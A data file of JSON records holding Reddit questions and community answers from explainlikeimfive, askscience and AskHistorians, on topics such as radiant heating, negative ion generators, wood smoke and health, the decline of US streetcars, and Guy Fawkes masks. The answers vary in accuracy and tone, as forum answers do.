{"q_id": "13ra9n", "title": "why does a sunny 65 degree day feel different than a cloudy day of the same temperature?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/13ra9n/eli5_why_does_a_sunny_65_degree_day_feel/", "answers": {"a_id": ["c76g6v3", "c76gd4m", "c76ge3q", "c76hp6f", "c76mmbs"], "score": [2, 3, 28, 3, 2], "text": ["Your body does a better job of absorbing the energy (heat) from the sun than the air around you. Think of it like the difference between wearing white and wearing black. If its sunny there is a big difference, but if its cloudy you won't really notice. ", "It's called [radiant heating](_URL_0_).  Basically it is when something is warmed directly by absorbing energy from a far away source  (like light from the sun), instead of being surrounded by something warm (like the 65 degree air).", "When we say a day is '65 degrees' this is what the temperature of the air around you is in the shade. They measure this with a thermometer in a special white box called a [Stephenson Screen](_URL_0_). \n\nThe box is white to reflect as much sunlight, and has slats in the sides to make sure its measurements aren't being thrown off by wind. This means that usually, the temperature given for a day is a tad lower than it actually feels like.\n\nOn a cloudy day, you're feeling a close temperature to the thermometer inside the screen, as there's no direct sunlight falling on you to warm you up. It may even feel slightly colder than exactly that temperature because of the wind chill it's not measuring.\n\nOn a sunny day, however, you're being heated up quite substantially by the sun's radiation (its light), specifically infra red radiation (this is light whose 'colour' is so much lower than red, we can't see it, but it causes whatever it lands on to heat up).\n\nSo, in short, on a cloudy day, you're feeling the air temperature, which is what the '65 degrees' is talking about, but on a sunny day you're mostly feeling warmth from direct sunlight.", "Solar radiation. Sunlight hits you, and warms up your skin/cloths.", "because you can feel the sun's rays and not just the air"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Radiant_heating"], ["http://en.wikipedia.org/wiki/Stevenson_screen"], [], []]}
{"q_id": "5umbk0", "title": "you brush with a brush. you comb with a comb. so why do you sweep with a broom?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5umbk0/eli5_you_brush_with_a_brush_you_comb_with_a_comb/", "answers": {"a_id": ["ddv4ypc", "ddvalvx"], "score": [69, 2], "text": ["You actually can [broom with a broom](_URL_0_). And of course you can scrub with a brush or straighten your unkempt hair with a comb. \n\nGenerally speaking, verbs tend to derive from nouns (think of \"to comb\" as kind of shorthand for \"to use a comb\"). Much like googling was derived from Google. In the case of a broom the verb \"to sweep\" just happened to become more popular than \"to broom.\" \n\nSince these words are relatively old, and since the decision to use sweep rather than broom was unlikely the result of a conscious decision by someone, it's nearly impossible to track why it ended up this way for broom and not for brush or comb.  \n\n(Interestingly broom and bramble share a proto-Germanic root meaning prickly bush; and brush and shrub/scrub share an old French root meaning bush as well. Comb and (un-)kempt share a root as well, meaning something like tooth). ", "You can sweep with a brush or a comb too!  You can brush with a comb or a broom as well (though you can't comb with the other tools, I think).\n\nWords can move in many directions, but here we can talk about two: a thing becoming an action, and an action becoming a thing.  English very commonly verbs its nouns (see what I did there?), which is when you take a thing and make a new word meaning to *use* the thing that's the same as the word for the thing.  For example, \"vacuum\" has never been a verb -- it's the absence of matter.  Well, someone came up with the vacuum cleaner (which works via suction, not by actually creating a vacuum or near vacuum).  People wanted to use this new gadget to clean their houses, but what were they going to tell their friends that they were doing?  \"I'm cleaning with the vacuum cleaner\" was too long, so they went with \"I'm vacuuming\".  \"Vacuum\" was turned into a verb.  We've done the same thing with other technology.  For example, we use \"email\" as a verb.  We used to use \"Xerox\" as a verb until Xerox got tired of it.  We use \"google\" as a verb, meaning to look things up on Google, and Google isn't particularly happy about it but there's nothing they can do.\n\nAnother thing that can happen is that a verb can become a noun.  We usually have special endings for this.  For example, someone who sings is a singer.  The vacuum itself cleans, so it's a cleaner.  The person who teaches is a teacher.  But sometimes that ending gets dropped.  You might call your teacher \"Teach\", for example.  A castle is sometimes called a keep, not a keeper.  This is relatively rare, but it still happens.  Both of these transformations happen often enough that we generally internalize them as part of our language, so if someone takes out a box of wipes, it's pretty clear that they're items used to wipe without it having to be explained.\n\nFor all three of these tools, the noun form came first.  A brush was a thing before people started describing its action as brushing (which likely didn't originate in English, by the way; other languages can verb their nouns as well).  Same with the comb.  Wiktionary is a bit confused when it comes to the broom, but it looks like the noun came first.  But sweeping is not the particular action of using a broom.  You can sweep with other items.  Sweeping is similar to swooping -- it's actually describing a *motion*.  You can definitely broom with a broom, but for whatever reason, \"sweep\" is more popular."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wiktionary.org/wiki/broom#Verb"], []]}
{"q_id": "6ejk2j", "title": "what makes fort knox so \"impenetrable?\" will there be a newer \"fort knox\" in the future?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ejk2j/eli5_what_makes_fort_knox_so_impenetrable_will/", "answers": {"a_id": ["diasl68"], "score": [2], "text": ["It could, but there is no real reason to.  They'd probably just renovate what they already built. The reason Fort Knox is \"impenetrable\" (or, at least very hard to get to) is the following:\n\nImagine you had the best name safe company build you a gigantic safe, with walls two feet thick.\n\nThen you had the safe put mostly underground. \n\nThen you fitted the safe and the area around it with all sorts of cameras and alarms. \n\nThen you surrounded that area with security fences, barbed wire, and a bunch of other things, maybe some land mines even.  You decide to keep some of the security measures very secret, so that anyone who wanted to break in wouldn't even know what to plan for.\n\nThen you staffed the whole area with its own heavily armed guards, AND its own police force.  \n\nThen you gave those guards strict rules, like no visitors are ever allowed at the safe for any reason.\n\nTHEN, you took took that entire site, and had it located right in the middle of an active US Army base.  To even get to the safe, they would have to get onto the base, past soldiers, and combat helicopters, etc.  \n\nTHAT is exactly what Fort Knox is. Its a real army base, which just happens to have a heavily guarded safe full of gold located on it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5bbhnd", "title": "what are the main differences between cartoon and anime?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5bbhnd/eli5_what_are_the_main_differences_between/", "answers": {"a_id": ["d9n6dkr", "d9n7olr", "d9n91bi", "d9na1mg", "d9nflm1", "d9ngg2t", "d9nh6um", "d9ns52d"], "score": [42, 198, 24, 12, 6, 14, 2, 3], "text": ["Mainly, that it is produced in Japan and originally voiced by a Japanese cast. Notice that I didn't say animated in Japan, as most anime/cartoons are animated in South Korea, even Family Guy.  \n  \nSome people might say Avatar (both series) is anime, and that is generally regarded as false. You then have original Korean animation, with Korean voice actors, that look just like anime, I'd say that is much more acceptable in calling anime, even though it technically isn't (and Japan and S.K. don't typically hold the best regards for each other, so I wouldn't say that around any Japanese person). It's the same as the differences between manga, manhwa, and manhua, one good thing they usually do that manga doesn't is most all pages are colored, instead of just B & W.", "I think of it like noodles and ramen. Ramen is a kind of noodle, but a very specific kind from a specific nation and culture. You wouldn't call spaghetti or mac 'n' cheese ramen, even if they're in the same broad \"family\" of food items, just like you wouldn't say that a Wile E. Coyote short is anime even though it shares some basic characteristics with it. \n\nEdit: a word", "Just means it's of Japanese origin.  \n\nIt's also so when someone says, \"Wait, you're a grown-ass man who watches *cartoons* about teenage girls in sailor-style school uniforms?\"  You can reply, \"No, I watch *anime*.\"", "Generally I think one of the things that started the huge divide is that most western cartoons are almost all for kids or they are all comedies. Very rarely do you get a western cartoon that actual can tell a deep adult story. Where as \"Anime\" has pretty much all genres that are normally never seen in western cartoons. You want comedic shows there are plenty, how about ones that can tell light hearted stories \"Anime\" has got you covered. \n\nThere is also a problem in that the perception of cartoons in the west is that they can only ever be for kids or be comedies which means any ideas beyond that never really are able to even get to preproduction.\n", "Usually anime refers to Japanese animation, or animation in Japanese style, for example the recent short \"shelter\",  but it's only the Japanese word for animation.\n\nFor example: Mickey would be called an \"anime\" character, because that's simply what the word means.", "If you are actually Japanese?  No difference.\n\nIf you are an English Otaku? You'll debate the difference and eventually settle on anime being Japanese animation.", "Whenever I get asked this question I always reply in the same way. Take as an example a boot and a normal shoe. Now, they are both similar objects, their purpose it's the same, but would you call a boot a shoe or viceversa? Would you say they are the exact same thing? You wouldn't. For anime/cartoon it's the same thing: they both come from the same concept, but there are slight differences that don't make them exactly the same, such as story telling, characters, the style of the drawings, the themes etc etc. You can call an anime a cartoon and it wouldn't be fundamentally wrong, but why not calling it by its correct name? Also, as far as I know, anime is exclusively made in Japan, while cartoons aren't.", "I think the real difference is that anime will have a story line along with an ending. It's like a really long movie. The characters mature, gain skill, die and don't come back/come back as ghosts, zombies, mummies, etc... New people are introduced and then abandoned with little regard. The main character can even be changed. It's an open world continues story.\n\nCartoons have the general rule that the show ends the same way every day, the characters don't mature past that episode. \n\nBoth Shin Chen  &  Bleach are Japanese in origin. Shin Chen is a cartoon, cause it's just another day with the same naughty boy doing what he does best. Basic slap stick and crude humor.   Bleach is anime cause it has a story, everyone gains skill, some more than others, and the story is well written. \n\nTL,DR: one is slap stick, the other is a story. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "f8pvnj", "title": "what is communitarianism?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f8pvnj/eli5_what_is_communitarianism/", "answers": {"a_id": ["fimrm4x"], "score": [2], "text": ["I discovered the term in the book _Utopia_ by Thomas More. In that book it seemed to be used to describe a system of communal living. More's city was Utopia because everyone worked together to accomplish the economic tasks that served everyone. There was no authoritative hierarchy. \n\nI have read elsewhere that the ideas in _Utopia_ eventually came to support the development of communism, but communism includes an authoritative hierarchy. So imagine if communism did what it proposed to do for the people and there was no governing body over it controlling it for the profit of a ruling class.\n\nCommunitarianism is meant to benefit everyone equally."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "pfz7r", "title": "Does a negative ion generator actually work?", "selftext": "I have a new fan which claims to have a \"built in negative ion generator. When in this mode negative ions are blown throughout the room by the fan to neutralize the charge in the particles of smoke and dust that float through the air, thereby losing their energy and will no longer remain in the air. The combination of negative ions on bacteria may deter the bacteria growth or even kill the bacteria.\" Is this in any way true?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pfz7r/does_a_negative_ion_generator_actually_work/", "answers": {"a_id": ["c3p2hvm", "c3p2yh9", "c3p37vl"], "score": [17, 4, 12], "text": ["The idea that a negative-ion generator can blow ions around a room is total horseshit; the mean free path of an ion in air would be negligibly small. ~~Rememember that an ionized gas is called a plasma, and plasmas require temperatures in excess of thousands of degrees to be sustained~~. The concept is pseudoscience nonsense; particles of smoke and dust floating in the air do not have charges, the concept of 'losing energy' is complicated and misused in this context, and even if their supposed charges were neutralised they would not disappear.", " >  particles of smoke and dust floating in the air do not have charges,\n\nWhile I agree those things are useless, you overstate that a bit.\n\nA fun science experiment to do with kids is to find a dusty, sunny room and a balloon; rub the balloon on the kid's head; and notice that some dust zooms quickly to the balloon, and some of the dust rockets away.\n\nSome dust clearly has a static charge.", "Air ionisers work. The description of yours though is not how they work. I also make no claims on how well they work, only that their science is sound.\n\nYou basically have a nice fat voltage which ionises the air. Normally negative ions but positive works too. In the presence of plasma anything in it becomes charged so your dust particles become charged they then can collect on earthed conducting surfaces. This should all be happening in a small space, inside the device. It definitely doesn't work by blowing ions around the room so it is unclear to me if this device is even a working air ioniser.\n\n > the combination of negative ions on bacteria may deter the bacteria growth or even kill the bacteria.\n\nThis second claim isn't as mad as it sounds. I wouldn't put much faith in it but negative ions can kill bacteria. Basically if I have a charged particle it will have a few eV if potential energy that if it was at equilibrium for the temperature it shouldn't really have. If this hits the bacteria it will discharge and the energy can kill the bacteria. These air ionisers also will always produce ozone as a side effect. Ozone is good at killing bacteria (and humans). The amount of ozone should be small though and I very much doubt destroys any amount of bacteria.\n\nIn short, air ionisers work to clean rooms of dust, perhaps not that well though, but nothing like how the description says. They could theoretically kill bacteria (only in the actual part with ions though, inside the device) but your description is commercial buff nonsense.\n\n\nedit: I believe a filter is better for removing dust.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "qbl8c", "title": "How bad are wood-burning fireplaces for human health?", "selftext": "While there are economic and other reasons to burn wood instead of fossil fuels for heat, I've heard that particulates are very bad from wood burning fireplaces (anecdotally, even as bad as smoking cigarettes).\n\nI know it must depend on the type of fireplace, but I\"m particularly interested in conventional fireplaces that burn wood and simply vent smoke outside.  \n\nHow bad are the particulates actually are in a house that does this, and what type and what magnitude of adverse health effects are likely to result from this?\n\nI know that this question may also invite discussion of the environmental issues surrounding wood burning, and while that's valid/important, it's a separate issue from the acute/chronic health effects of indoor air pollution from wood burning.\n\nAlso, I am well aware that fireplaces have been known to vent out more heat than they generate for the inside of a house, so let's forego that discussion as well and focus on health.  \n\nThanks!  I've heard conflicting information this, and a quick google scholar search hasn't lent much clarification, so your collective expertise is appreciated.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qbl8c/how_bad_are_woodburning_fireplaces_for_human/", "answers": {"a_id": ["c3wassa", "c3waufq", "c3wavey", "c3waxrw", "c3wbcef", "c3wbjr0", "c3wdsip", "c3wdy7v"], "score": [13, 15, 2, 6, 9, 3, 2, 5], "text": ["[/r/atheism](/r/atheism) will enjoy this: Sam Harris recently wrote a post entitled, \"[The Fireplace Delusion](_URL_0_)\" that addresses this specific concern. Check it out.\n\n**Article TLDR; If you care about your family\u2019s health and that of your neighbors, the sight of a glowing hearth should be about as comforting as the sight of a diesel engine idling in your living room.**", "The wood smoke itself has adverse effects on your health. The amount of wood smoke in your house would depend on the fireplace and if it is set up in the right way.\n_URL_0_", "Rather than a straight fireplace [masonry stoves/heaters](_URL_0_) should be used. Very efficient and can be very beautiful too. \n", "Why are we comparing fossil fuels to a fireplace instead of a wood stove? Having lived in a place where central heat wasn't that common, fireplaces are not used for warmth. I would think a wood stove would be better for you than a fire place... maybe I'm wrong though. Or a pellet stove....", "Woodsmoke does produce some substances that present health hazards. How that much these influence the air quality (especially indoors) depends probably on the wood stove (higher temperatures probably lead to cleaner burning). There is some review of this in [2]. A good overview article might be [1] or [3].\n\nThe most dangerous produced substances according to [1] seem to be CO, NOx, organic compounds and fine particles.\n\nSources with nices quotes:\n\n\"Woodsmoke is also mutagenic and possibly carcinogenic in laboratory and field studies, but less so than coal smoke\"\n[1] _URL_2_\n\n\"Emissions from residential woodstoves are an important air quality issue (both indoors and ambient) in many regions throughout the US and the world\" ( [2] _URL_1_ )\n\n\"It can be concluded from this review that exposure to woodsmoke, particularly for children, represents a potential health hazard\" ( [3] _URL_0_ )", "I wonder if there are health benefits gained from the stress reducing effects of having wholesome \"family time\" around the fireplace? Whenever my I start a fire in my fireplace, all of my housemates gather around and a very pleasant night of social bonding ensues. We all lead rather hectic, stressful lives. Socializing around the fire is a huge release and probably a huge source of oxytocin. I assume this is true for many people. ", "The problem with wood burning stoves is not limited to indoors. Outside of the home, it can be as much of a contributor to air pollution as vehicles during winter months. An atmospheric temperature inversion (_URL_0_) leads to the pollutants being trapped, in a populated environment this leads to smog trapped near the surface which can lead to serious health effects, mainly on those who are already susceptible (i.e. those with cadiorespiratory diseases, the elderly and the young).\nThere are a set of main air pollutants that are of concern both indoors and out:\n- Particulate matter (PM10 and PM 2.5)\n-SO2\n-NO2\nOther chemicals will be created in any combustion such as carbon monoxide and ozone.\nas an example, Fine PM (2.5) is correlated with \n-Asthma\n-Pulmonary disease\n-Increased Mortality\n\nIn the Los Angeles basin builders are prohibited from installing woodburners and if you are caught burning wood during a 'pollution episode' you can be fined a hefty charge. This is due to the estimate that the fireplaces in the 1.4 million houses using them are producing on average 6 tons a day of particulate soot", "Does anyone here use wood for heat?  Wood burning stoves are not the same as fireplaces.  They are enclosed, so as long as they are installed properly and maintained there is no smoke in the house. Fireplaces that are built into the wall do vent out a lot of their heat outside, which is why they typically are not used for heat. This: _URL_0_ is a wood burning stove.  They are much more efficient than fireplaces, since heat can radiate into the house from all 4 sides and the top, rather than one side.  \n\nWhile inhaling large amounts of wood smoke is almost certainly bad for you (as with any smoke) you don't inhale much.  When I say that what I mean is that you generally can't even smell the fire inside unless someone has very recently put some more logs on it.  To my knowledge it has never set off our CO detectors, but to be fair we do have fairly high ceilings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.samharris.org/blog/item/the-fireplace-delusion"], ["http://www.hc-sc.gc.ca/hl-vs/iyh-vsv/environ/wood-bois-eng.php"], ["http://www.stovemaster.com/html_en/why_masonry_heaters.html"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/12162869", "http://www.ncbi.nlm.nih.gov/pubmed/18665872", "http://www.ncbi.nlm.nih.gov/pubmed/17127644"], [], ["http://imgur.com/mBc0z"], ["http://www.discountstove.com/product_main_photo_11.jpg"]]}
{"q_id": "c87l40", "title": "I have read that the demise of streetcars in the U.S. was due to a conspiracy by GM and other auto manufacturers. I've also read that this is an urban legend. What's the truth?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/c87l40/i_have_read_that_the_demise_of_streetcars_in_the/", "answers": {"a_id": ["eskpec7", "eskvc8y"], "score": [124, 783], "text": ["You can find an answer from u/MrDowntown [Here](_URL_0_)\n\nYou can also see some more information [here](_URL_1_) by the same person", "I'm going to illustrate this using the example of Los Angeles, because it's what I know best.  (I'm currently writing a book on the subject.)\n\nIn general, American streetcar systems reached their height in the 1920s, and began to decline thereafter.  This is due to a combination of three factors: (a) the automobile's increasing popularity made many streetcar lines simply uneconomical to operate; (b) most streetcar companies like the Red Cars in Los Angeles or the Key System in the San Francisco Bay Area operated their streetcar systems to promote their real estate developments, and not the other way around, (c) the bus was actually a technological improvement in mixed traffic over the competing streetcar.\n\nIf you check out my (redrawn) map of Los Angeles's [Pacific Electric streetcar system](_URL_0_) near its height in 1926, there's lots of things that are incredibly unusual to modern eyes.  First, the streetcars go *everywhere.*  You could take a train way out to places which are considered the periphery of Greater LA even in modern times.  These are places like San Bernardino, contemporary population 37,000, or Riverside, population 29,000.  This kind of network is only economically viable if there are literally no other transportation alternatives available.  And the Pacific Electric was infamous for exploiting its transportation monopoly to the limit.  Once the motor bus was invented, and automobile competition arrived in earnest, large-scale abandonment began.  If you check out this [significantly-less-clear map from 1947,](_URL_1_) nearly all passenger service to outlying areas has been abandoned or replaced by buses.\n\nYou have to remember that the Pacific Electric and similar systems were operated by real estate developers.  The owner of the Pacific Electric, Henry Huntington, was a real estate magnate who made his money by building suburban subdivisions - places like Huntington Beach, Huntington Park and San Marino were all developed by Huntington money.  In the Pacific Electric's case, the streetcar system actually operated at a loss for much of its life, and it was the real estate development that kept the trains running, not the other way around.  (Similarly, in Northern California, the Key System streetcars were actually owned by a company called the \"Realty Syndicate\".)\n\nFinally, there's the technological question.  One-car streetcars running in mixed traffic are technologically inferior to diesel buses, because they can't be rerouted for construction, and if something blocks the tracks, there's not much the streetcar driver can do except wait.  In the Pacific Electric's case, many of their routes ran down busy thoroughfares, and they didn't have dedicated lanes the way that the modern L.A. Metro's trains do.  And buses are cheaper to run per-passenger on low-capacity routes - there's no overhead wires or tracks to maintain.  Trains really shine when they have dedicated right-of-way (i.e., their own dedicated lanes or tracks), and it's a high capacity route - a three-car train of streetcars, like the modern Expo Line, can handle 600 passengers per train with a single driver, which is equivalent to five buses.  But one-car trains of streetcars running in mixed traffic have both the disadvantages of a train (can't detour) and the disadvantages of a bus (limited capacity).  \n\nBecause of this it made a lot of economic sense to abandon streetcars for buses.  GM and National City Lines took advantage of this process to sell buses, but it was a decades-long trend that began long before the alleged conspiracy began in the late 1930s."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/tq9fa/whats_the_truth_about_the_great_american/c4oxzo7/?st=jxlsie0q&amp;sh=c79d5e0a", "https://www.reddit.com/r/AskHistorians/comments/6syspc/what_caused_the_conversion_from_electric/?st=jxlsfn9m&amp;sh=6ab14a7a"], ["https://fiftythree.studio/collections/retro-maps/products/los-angeles-1926-streetcars-and-trains-map-poster-print-with-original-art", "http://www.pacificelectric.org/wp-content/uploads/2010/02/PE-1947.pdf"]]}
{"q_id": "ag07xt", "title": "how can there be a teacher shortage while at the same time it's extremely hard for recent graduates to find teaching jobs?", "selftext": "I know well how insanely difficult it's been for recent teaching graduates to find teaching jobs and the very few who do often have to move across the country just to find something available. At the same time, I hear how classes are bloated, sometimes with 60 kid to a room.. hence the recent teacher strikes in LA.\n\n & #x200B;\n\nWhy does it seem like teachers who do have jobs are overwhelmed by students and yet there are millions of recent graduates desperate to find a job teaching? It seems like there's plenty of supply and demand.. so what's wrong?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ag07xt/eli5_how_can_there_be_a_teacher_shortage_while_at/", "answers": {"a_id": ["ee2mec2", "ee2mj48", "ee2v2sv"], "score": [7, 4, 3], "text": ["Teaching conditions are horrible so the attrition rate once a person becomes a teacher is very high. So tons of people apply for jobs then burn out after a year and quit. The schools are okay with that because new teachers don't get paid much so it saves money for then if people quit frequently.\n\nSo the demand stays high despite teachers constantly being fed into it.", "First, there are shortages in positions where there are a shortage of qualified teachers. We need math teachers, we have an overabundance of history teachers. We have shortages because plenty of people aim low in their careers. Math is hard and many people don't like or understand it. There are also a lack of qualifications for age ranges.\n\nSecond, people don't want to move to where the jobs are. Chicago public schools struggle, and the blame falls on the teachers. Teaching at a CPS school is a black mark you will struggle against across your career, and so it doesn't attract teachers. I know people who rather'd work as a barista at a coffee shop than use their degree and teach in the CPS district.\n\nThird, there isn't enough money. 60 kids to a classroom, and the school doesn't have the funding to hire another.", "Schools operate like a sports team with a salary cap.  They can't afford to only hire all-stars so also hire rookies, since they make less.\n\nTeachers make decent money.  Not great,but decent.  Many relocate to find work, because openings for rookies are going to be in less desirable locations.  They'll work there a few years, then move to a more desirable locations, opening up a spot for another rookie."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "dmkcph", "title": "Leonardo da Vinci died in 1519, some 27 years after Columbus's first voyage. In the intervening decades, did the famed polymath ever comment on the discovery of the New World?", "selftext": "Similarly, did other contemporary figures from the Italian Renaissance (Machiavelli, Michelangelo, the Borgias, Caterino Sforza etc.) record their thoughts?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dmkcph/leonardo_da_vinci_died_in_1519_some_27_years/", "answers": {"a_id": ["f51u5i7"], "score": [115], "text": ["\u200b\nHi, I wrote\u200b before\u200b [about why it's very probable that Da Vinci knew about the Americas](_URL_0_) and that they are seperate from Asia\u200b,\u200b over\u200b here\u200b. \n\n\n\nSee also the other [answer in that thread](_URL_1_) about connections between him,\u200b his patrons the Medicis, and Amerigo Vespucci.\n\n\n\nHopefully others can add more specifically on Da Vinci's writings and/or on the other Renaissance figured you mention which I'm less familiar with, hope \u200bthis helps already."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/506q8o/did_leonardo_da_vinci_know_about_the_new_world/d71wjmz?context=3", "https://www.reddit.com/r/AskHistorians/comments/506q8o/did_leonardo_da_vinci_know_about_the_new_world/"]]}
{"q_id": "3p0g9u", "title": "Can someone explain to me how Matt Damon created water on Mars in the movie \"The Martian\"? and if it was realistic.", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3p0g9u/can_someone_explain_to_me_how_matt_damon_created/", "answers": {"a_id": ["cw22uis", "cw23l65", "cw28dl5", "cw2anhk", "cw2ehzh"], "score": [74, 2, 6, 31, 2], "text": ["When I read the book, I didn't notice any chemistry in it that stuck me as being impossible.  Every chemical reaction that was mentioned was real, and the only exaggerations were of the scale and efficiency of the processes. The specific reaction used to create water:\n\nN2H4 + O2  - >   2 H2O + N2\n\nis perfectly acceptable, and is carried out in some industrial applications.  If you get hydrazine hot enough in an oxygen environment, this will happen.  Catalysts help it to occur at lower temperatures.  The slapdash way in which The Martian carried this reaction out, though, should have resulted in an explosive death, but that's where artistic license comes in.  ", "I read the book, haven't seen the movie, but the short version is:  \nYes, it's possible, however, Weir significantly downplayed the amount of energy it would have taken and the amount of heat it would have generated, exponentially.", "The chemistry for making water checks out, but the catalyst he is using for the reaction was iridium. The amount of which he is shown using would weigh closer to two pounds than not. Him being able to salvage two pounds of iridium on mars is the part I find to be unrealistic.", "NASA keeps a plan for, \"What do we do if the government tells us to go to Mars right away, like happened with the Moon?\" They update it every few years, as technologies and knowledge improve.\n\nThe current version was the source for most of the tech and concepts used in the book: _URL_0_\n\n", "One detail that the movie glossed over is how he used the Hab's systems to pull water vapor out of the air.\n\nThat was already part of the life-support systems, when the Hab detected the humidity rise above a certain level it would essentially run a dehumidifier, and then put the run-off water back into the water tanks.\n\nSo, Watney just burned the hydrogen which put water vapor into the air, and then just waited for the dehumidifiers to restock the water supply."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.nasa.gov/pdf/373667main_NASA-SP-2009-566-ADD.pdf"], []]}
{"q_id": "1emhrp", "title": "- why is there such a negative stigma against \"sluts\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1emhrp/eli5_why_is_there_such_a_negative_stigma_against/", "answers": {"a_id": ["ca1nses", "ca1rqy4", "ca20s11"], "score": [37, 16, 2], "text": ["It depends on exactly what you mean by the term (note how there's no one, single definition to their word). Its a word used to control female sexuality. It's there to tell a woman she's outside of the box of 'acceptable' behaviors. Just like the word 'pussy' or 'faggot' is there to push other people back into their boxes of societally acceptable behaviors too. \n\nGenerally speaking, the world is still not comfortable with female sexuality and agency. \n\nHowever, if you use the word like I do- I only use it to reference people (both male and female) who have zero regard for sexual safety and have multiple partners- then I have a stigma against them because they're being reckless with people's health and lives. ", "First off, let's look at human reproduction. Women can reproduce about once a year, while men can spread their seed all day e'ry day. This is why polygamy was so common throughout history, and polyandry is almost unheard of. \n\nMany species of animals with similar reproduction cycles follow this structure -Many females to a single male- this is to ensure that there's no question in regards to what male is further perpetuating his genes for the next generation. \n\nOver time, this structure has put more and more importance on female purity, while very little is put on male purity. \nThis led to it being a very advantageous tool for oppressing women. (e.g. Stoning, ostracizing, and imprisoning women for adultery. Even forcing victims of rape to marry their rapists.)   \n\nAnd while in this modern day and age, there is no real reproductive reason for the double standard between male/female sexual activity, it's still driven by thousands of years of this mind-set. \n\nNow you might wonder why women would slut-shame other women, and that's a good question. I think it has a lot to do with the stigmas set in society about sex. We're told from a young age that it's shameful, dirty, only meant to be shared with someone special, etc, etc, rules, rules, rules. When in reality, it's just a natural, normal thing. \nI firmly believe this is unhealthy. Just like society telling you that you need to be thin, so you deny yourself the natural and necessary act of eating. \nI believe women who slut-shame other women are acting out of their own sexual oppression. Jealous of women who are more sexually liberated than they are. Furthermore, sexually liberated women are viewed as a threat as far as sexual competition goes.\n\nAnyway, that's my two cents on the matter. \nI'd just like to add, men and women both deserve respect for their sexual choices. Whether or not they choose to have hundreds of partners or no partners at all, never shame somebody for their choice. It's a very personal matter, and you have no right to weigh in on it. ", "Because if sex was ok, easy going and casual, people would notice that they don't need to show off, and so they don't need fashion, expensive cosmetics, teen magazines, fast cars, expensive this, and bullshit that, etc, etc, so capitalism would fail. TPTB don't want that, so they enforce \"morality\".\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3rni36", "title": "guy fawkes and anonymous", "selftext": "I've been wondering this for a while, but can somebody explain the reasoning behind the Guy Fawkes masks and Anonymous? Guy Fawkes was a Catholic fundamentalist who tried blowing up the king and parliament, while Anonymous are a bunch of computer hackers. \n\nYes. I have seen V for Vendetta.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rni36/eli5_guy_fawkes_and_anonymous/", "answers": {"a_id": ["cwpm2cc", "cwpm8rh", "cwpmrpt", "cwpmt1l", "cwpplbo", "cwpqh83", "cwpxeya"], "score": [54, 12, 5, 3, 3, 3, 10], "text": ["4chan collectively identified with V, as a disfigured, anti-authority psychopath, and the mask he wears is both a practical way to remain anonymous in public and an appropriate symbol for an anonymous group of internet misfits.\n\nBasically, Anonymous likes the mask for all the same reasons that V wore it. But usually with none of the historical awareness that V had.", "Well, V for vendetta is the connection.\n\nV wasn't a Catholic, but was a terrorist. Alan Moore  chose the mask for V because it represented British History's most famous terrorist.\n\nAnonymous are about anarchist political protest. They identify with that aspect of V, so they wear the same mask. V's reasoning for wearing the mask is irrelevant to them.", "Anonymous needed a symbol that was easily attainable regardless of where the activist was. Guy Fawkes masks were popular and were available almost everywhere. So that's what they went with. ", "The answer to your question is [V for Vendetta](_URL_0_) where a freedom loving anarcho-terrorist appropriates a Guy Fawkesian iconography while fighting a dystopian state.\n\n", "It's the Che Guevara symbol for the millennials, nothing more.  It's a pop culture symbol of rebelliousness.  There isn't much thought involved, and trying to find it will only make you more confused.", "If you paid attention during the movie you'd know that V said he uses a \"4chan\" mask, particularly from his favorite subchan, /r/b/", "Holy shit, so many poor or just wrong answers. It's not due to identifying with V for Vendetta, it's only slightly inspired by that at best.\n\nIt's related to EFG (Epic Fail Guy), at some point EFG found a V for Vendetta mask in the bin, and from then on was depicted with the mask as often as he was depicted without it.\n\nBefore the Scientology things, anonymous was generally pictured as a man with no face (or a greened out face) in a suit and tie, generally with a tagline like \"We do not forgive. We do not forget. We are legion. Expect us.\"\n\nThen at some point along came the Scientology protests which somehow 4chan became part of. Obviously they didn't want to just show up in suits (I imagine most wouldn't own a suit as nice as Anonymous was depicted in), so the EFG mask became the go to symbol.\n\nOstensibly it was to tell Scientologists they were \"Epic Fail\", but eh, probably it was more that it was a convenient/easy symbol.\n\nFrom there, it was history.\n\nAnything like \"4chan collectively identifies with V\" is just garbage. 